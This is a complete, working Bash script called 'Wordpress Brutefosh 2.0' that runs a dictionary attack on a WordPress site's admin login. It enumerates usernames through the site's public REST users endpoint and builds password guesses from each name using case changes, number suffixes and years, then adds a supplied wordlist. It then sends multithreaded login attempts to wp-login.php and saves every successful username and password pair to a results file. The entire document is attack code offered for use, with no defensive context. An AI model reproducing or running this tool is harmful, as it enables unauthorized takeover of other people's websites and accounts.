[BASH] Wordpress Brutefosh 2.0 - Auto Generate Password

#!/bin/bash
# Name       : Wordpress Brutefosh
# Version    : 2.0
# Desc.      : Dictionary Attack Tool - Wordpress Admin
# Updated on : 2019-03-29

#----------- CONFIGURATION -----------
curl_timeout=20
multithread_limit=10
#--------- CONFIGURATION EOF ---------

if [[ -f wpusername.tmp ]]
then
    rm wpusername.tmp
fi

RED='\e[31m'
GRN='\e[32m'
YEL='\e[33m'
CLR='\e[0m'

function _GetUserWPJSON() {
    Target="${1}";
    UsernameLists=$(curl --connect-timeout ${curl_timeout} --max-time ${curl_timeout} -s "${Target}/wp-json/wp/v2/users" | grep -Po '"slug":"\K.*?(?=")');
    echo ""
    if [[ -z ${UsernameLists} ]];
    then
        echo -e "${YEL}INFO: Cannot detect Username!${CLR}"
    else
        echo -ne > wpusername.tmp
        for Username in ${UsernameLists};
        do
            echo "INFO: Found username \"${Username}\"..."
            echo "${Username}" >> wpusername.tmp
        done
    fi
}

function _TestLogin() {
    Target="${1}"
    Username="${2}"
    Password="${3}"
    LetsTry=$(curl --connect-timeout ${curl_timeout} --max-time ${curl_timeout} -s -w "\nHTTP_STATUS_CODE_X %{http_code}\n" "${Target}/wp-login.php" --data "log=${Username}&pwd=${Password}&wp-submit=Log+In" --compressed)
    if [[ ! -z $(echo ${LetsTry} | grep login_error | grep div) ]];
    then
        echo -e "${YEL}INFO: Invalid ${Target} ${Username}:${Password}${CLR}"
    elif [[ $(echo ${LetsTry} | grep "HTTP_STATUS_CODE_X" | awk '{print $2}') == "302" ]];
    then
        echo -e "${GRN}[!] FOUND ${Target} \e[30;48;5;82m ${Username}:${Password} ${CLR}"
        echo "${Target} [${Username}:${Password}]" >> wpbf-results.txt
    else
        echo -e "${YEL}INFO: Invalid ${Target} ${Username}:${Password}${CLR}"
    fi
}

function PasswdGenerator() {
    WORD="${1}"
    echo "${WORD}"
    echo "${WORD}" | tr a-z A-Z
    echo "${WORD}123"
    echo "${WORD}123" | tr a-z A-Z
    echo "${WORD}admin"
    echo "${WORD}${WORD}"
    echo "${WORD}${WORD}123"
    echo "${WORD}${WORD}" | tr a-z A-Z
    echo "${WORD}${WORD}123" | tr a-z A-Z
    foo=${WORD:0};echo ${foo^}
    foo=${WORD:0};echo ${foo^}123
    for ((c=1;c<=99;c++))
    do
        echo "${WORD}${c}"
    done
    for ((c=1;c<=9;c++))
    do
        echo "${WORD}0${c}"
    done
    for ((c=1900;c<=$(date +%Y);c++))
    do
        echo "${WORD}${c}"
    done
    for ((c=1;c<=99;c++))
    do
        foo=${WORD:0};echo ${foo^}${c}
    done
    for ((c=1;c<=9;c++))
    do
        foo=${WORD:0};echo ${foo^}0${c}
    done
    for ((c=1900;c<=$(date +%Y);c++))
    do
        foo=${WORD:0};echo ${foo^}${c}
    done
}

echo ' _    _               _                         '
echo '| |  | | ___  _ __ __| |_ __  _ __ ___  ___ ___ '
echo '| |/\| |/ _ \| `__/ _` | `_ \| `__/ _ \/ __/ __|'
echo '\  /\  / (_) | | | (_| | |_) | | |  __/\__ \__ \'
echo ' \/  \/ \___/|_|  \__,_| .__/|_|  \___||___/___/'
echo '                       |_|.::Brutefo(sh) 2019::.'
echo ''

echo -ne "[?] Input website target : "
read Target

curl --connect-timeout ${curl_timeout} --max-time ${curl_timeout} -s "${Target}/wp-login.php" > wplogin.tmp
if [[ -z $(cat wplogin.tmp | grep "wp-submit") ]];
then
    echo -e "${RED}ERROR: Invalid wordpress wp-login!${CLR}"
    exit
fi

echo -ne "[?] Input password lists in (file) : "
read PasswordLists

if [[ ! -f ${PasswordLists} ]]
then
    echo -e "${RED}ERROR: Wordlists not found!${CLR}"
    PasswordLists=/dev/null
fi

_GetUserWPJSON ${Target}

if [[ -f wpusername.tmp ]]
then
    for User in $(cat wpusername.tmp)
    do
        echo "INFO: Generate password from ${User}..."
        echo -ne "" > wpbf-passwords.lst.tmp
        PasswdGenerator ${User} >> wpbf-passwords.lst.tmp
        cat ${PasswordLists} >> wpbf-passwords.lst.tmp
        (
            for Pass in $(cat wpbf-passwords.lst.tmp)
            do
                ((cthread=cthread%multithread_limit)); ((cthread++==0)) && wait
                _TestLogin ${Target} ${User} ${Pass} &
            done
            wait
        )
    done
    echo -ne "" > wpbf-passwords.lst.tmp
    rm wpbf-passwords.lst.tmp
else
    echo -e "${YEL}INFO: Cannot find username${CLR}"
    echo -ne "[?] Input username manually : "
    read User
    if [[ -z ${User} ]]
    then
        echo -e "${RED}ERROR: Username cannot be empty!${CLR}"
        exit
    fi
    echo "INFO: Generate password from ${User}..."
    echo -ne "" > wpbf-passwords.lst.tmp
    PasswdGenerator ${User} >> wpbf-passwords.lst.tmp
    cat ${PasswordLists} >> wpbf-passwords.lst.tmp
    (
        for Pass in $(cat wpbf-passwords.lst.tmp)
        do
            ((cthread=cthread%multithread_limit)); ((cthread++==0)) && wait
            _TestLogin ${Target} ${User} ${Pass} &
        done
        wait
    )
    echo -ne "" > wpbf-passwords.lst.tmp
    rm wpbf-passwords.lst.tmp
fi
echo "INFO: Found $(cat wpbf-results.txt | grep ${Target} | sort -nr | uniq | wc -l) username & password in ./wpbf-results.txt"